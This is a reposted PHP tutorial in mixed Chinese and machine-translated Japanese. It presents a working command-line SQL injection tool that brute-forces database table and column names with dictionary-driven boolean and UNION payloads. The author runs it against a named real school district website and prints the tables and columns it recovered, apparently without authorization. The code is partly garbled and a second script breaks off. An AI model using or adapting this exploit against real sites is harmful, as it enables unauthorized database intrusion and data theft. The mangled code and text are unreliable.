PHP ですべてのことを行う (インジェクション アプリケーションの作成)_PHP チュートリアル

WBOY
リリース: 2016-07-13 17:21:32
オリジナル
797 人が閲覧しました

文章作者:mika[EST]
信息来源:邪恶八进制信息安全团队

最近俺又迷恋上脚本了,嘿嘿~~~刚学完PHP然后又看了些PHP安全方面的文章,于是乎从google中找了几个站练习一下。
结果发现php猜表名和列名真的很费劲啊,nbsi这类的扫描工具有没有那种用字典或者暴力猜解表名和列名的功能,难不成还得自己一个一个猜啊?我很懒的:-)
突然想到自己不是刚刚学完PHP吗?为什么不学以致用呢?php不光是一个web脚本语言,它还是一个非常棒的命令行解释语言,用它写脚本好方便的哦。为了以后能够碰到这类问题省点劲俺就写了一个php脚本用来猜表和列名的。脚本写的很简单,内容如下:
  echo " Universal Database tables explode exploit V0.1 ";
echo " Written by Mika[EST] ";
//$keyword="Warning";
$keyword="error";
switch($argc){
case 3:
$u=" and (select count(*) from MIKA_NAME)>0";
 $dic=$argv[2];
 break;
 case 4:
 $u=" and 1=1 union select ".implode(,,range(1,$argv[2]))." from MIKA_NAME#";
 $dic=$argv[3];
 break;
 case 5:
 if($argv[2]!="-t")
 exit("arguments Error");
 $u=" and (select count(MIKA_NAME) from $argv[3])>0#";
 $dic=$argv[4];
 break;
 case 6:
 if($argv[2]!="-t" || $argv[4]<1)
exit("arguments Error");
if($argv[4]>=2){
 $u=" and 1=1 union select ".MIKA_NAME.,.implode(,,range(2,$argv[4]))." from $argv[3]#";
 }else{
 $u=" and 1=1 union select MIKA_NAME from $argv[3]#";
 }
 $dic=$argv[5];
 break;
 default:
 echo << Usage:$argv[0] [OPTIONS]
 OPTIONS: number --->to indicate column number of a table during a union query

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] 3 mydict.txt

 the url will be like:.../bbb.asp?ccc=56 and 1=2 union select 1,2,3 from admin

 OPTIONS: -t

[number] ---> to explode column name of the

 e.g:$argv[0] [url]http://www.aaa.com/bbb.asp?ccc=56[/url] -t admin mydict.txt

 Attention:if you dont use [options] the program will use default mode to work.you can change it in the source code of this program.
 USAGE;
 die;
 }

 $old=$argv[1];
 file_exists($dic) or exit("dic file does not exist! ");
 $words=file($dic);
 $curl=curl_init();
 curl_setopt($curl,CURLOPT_HEADER,0);
 curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
 curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");
 print "[+]Searching What you want... ";
 foreach($words as $word){
 //print $word;
 if(preg_match("/^s$/",$word)){
 //print "blank";
 continue;
 }
 $url=str_replace(MIKA_NAME,trim($word),$u);
 $url=$old.urlencode($url);
 //$url=$old.$url;
 curl_setopt($curl,CURLOPT_URL,$url);
 //print "source url is:".$url." ";
 $content=curl_exec($curl);
 //$new=$content;
 //print $content;
 if(preg_match("/$keyword/i",$content)==0){
 print "[*] FOUND:".trim($word);
 }
 else{print ".";}
 }
 ?>
俺先解释一下吧:程序里用到的模块是curl,它用来获取网页内容是非常方便的。我的这个php是for windows的,所以里面集成了很多的模块。但是curl默认是不启用的,你需要开启它哦。方法很简单,去网上下载php最新版本的绿色版(不需要安装的,方便携带),然后将压缩包内的php.ini-recommended复制到系统目录(win2k是winnt目录,xp等的是windows目录)并将其改名为php.ini,然后用记事本打开,找到如下一行:
extension_dir =
把它的值设置成你自己的,比如把压缩包接压到了c:php里,那么你需要把它设置成:
extension_dir = "c:phpext"

然后再继续找到下面这段:
 ; Windows Extensions
 ; Note that ODBC support is built in, so no dll is needed for it.
 ; Note that many DLL files are located in the extensions/ (PHP 4) ext/ (PHP 5)
 ; extension folders as well as the separate PECL DLL download (PHP 5).
 ; Be sure to appropriately set the extension_dir directive.

;extension=php_mbstring.dll
;extension=php_bz2.dll
;extension=php_curl.dll
;extension=php_dba.dll
;extension=php_dbase.dll
;extension=php_exif.dll
;extension=php_fdf.dll
;extension=php_filepro.dll
;extension=php_gd2.dll
;extension=php_gettext.dll
;extension=php_ifx.dll
php_curl.dll を見たことがありますか?直前のセミコロンを削除するだけです。それから保存はまだ終わっていません。php ディレクトリに移動して、次の 2 つのファイルを見つけます。
それらをsystem32ディレクトリにコピーすればOKです。とてもシンプルですよね?次に、環境変数に php のパスを設定すると、任意のディレクトリで php.exe を直接呼び出して解析できるようになります。他のモジュールをインストールする手順も同様なので、詳細は説明しません:-)

本題に戻りますが、上記の手順でcurlモジュールを使用できます。このプログラムの使用法は非常に簡単です。たとえば、挿入された URL は http://www.aaa.com/bbb.asp?ccc=56 のようになり、辞書ファイルは現在のディレクトリ mydict.txt にあります。このプログラムの使用方法は次のとおりです:

phpexplode.php http://www.aaa.com/bbb.asp?ccc=56 mydict.txt

なお、このプログラムは元々私が使用していたものなので、あまり考慮されていないプログラムです。プログラムはページから返されたコンテンツに基づいて判断するため、まず手動でコンテンツを取得する必要があります。たとえば、
http://www.aaa.com/bbb.asp?ccc=56 および ( select count( *) from mika520)>0 (アクセスおよび mssql 上)

または

http://www.aaa.com/bbb.asp?ccc=56 および 1=1 Union select 1,2,3,4 mika520%23 からの ,5, 6 (mysql 上)

mika520 は存在しないテーブルです。ページを返した後、ソース コードを確認して、正しいページに存在しないステートメントをキーワードとして見つけることができます (nbsi などのインジェクション ツールは、デフォルトで正しいページにあるものを使用します)。判断するには、逆のことを行いました:-) そして、プログラム コードの 4 行目の $keyword の値をキーワードに置き換えます。たとえば、このサイト:
http://www.elkhart.k12.in.us/content.php?id=157

PHP であるため、2 番目の推測方法、つまり結合クエリを使用する必要があるため、まず注入ポイントが存在するかどうかを判断し、次に order by を使用してフィールドの数を判断します。ここで 5 つのフィールドを判定した後、私のプログラムを使用して結果は次のようになります:
F:scriptsphpmine>php Forcetb1.php http://www.elkhart.k12.in.us/content.php?id

=157 5 mydict.txt

ユニバーサル データベース テーブルのエクスプロイト V0.1

Mika[EST]が書いた

[+] 欲しいものを探しています...

...[*] 見つかりました:構造.................... ………………

見ましたか?時計を見つけました、笑。フィールドを見てみましょう:

F:scriptsphpmine>php Forcetb1.php http://www.elkhart.k12.in.us/content.php?id
=157 -t Structure 5 temp.txt
Universal Database tables爆発エクスプロイト V0 .1

作:Mika[EST]

[+]検索中...

[*] FOUND:division...[*] FOUND:id.[*] FOUND:level...[*] FOUND :title....

.. [*] FOUND:content..[*] FOUND:parent_id........

非常にシンプルですね。コマンドの 5 は、order by を使用して推測したフィールドの数です。実際の数値に置き換えてください。 Access または mssql データベースの場合は、フィールド数のパラメーター (例では 5 など) を削除するだけです。これ以上のデモンストレーションは行いません。

使用中に問題が発生した場合は、コードを自分で変更できます。非常に簡単です:-)

さらに、私のプログラムはデフォルトで HTTP プロキシを使用するため、次の行を変更する必要があります:

curl_setopt($curl,CURLOPT_PROXY,"127.0.0.1:8080");

プロキシが必要ない場合は、それをコメントアウトしてください。

実際のところ、重要なのは、一般的な辞書を組み合わせるだけで十分な機能があるかどうかを確認することです。たとえば、NBSI と Kuangzhugang の辞書を取得し、それらをファイルにまとめます。ただし、これら 2 つの辞書には重複が多数ある可能性があるため、不要な推測を避けるために、どこでも繰り返す必要があります。次のような、重複行を削除するための非常に簡単なプログラムを PHP で作成しました。

if($argc!=2){
echo << 書き込み



http://www.bkjia.com/PHPjc/532405.html

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/532405.html技術記事記事執筆者:mika[EST] 情報提供元:Evil Octal Information Security Team 最近またスクリプトにハマってます ふふふふふふふふふふふふふふふふふふ>PHPの勉強が終わって、PHPのセキュリティに関する記事をいくつか読んだので…
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート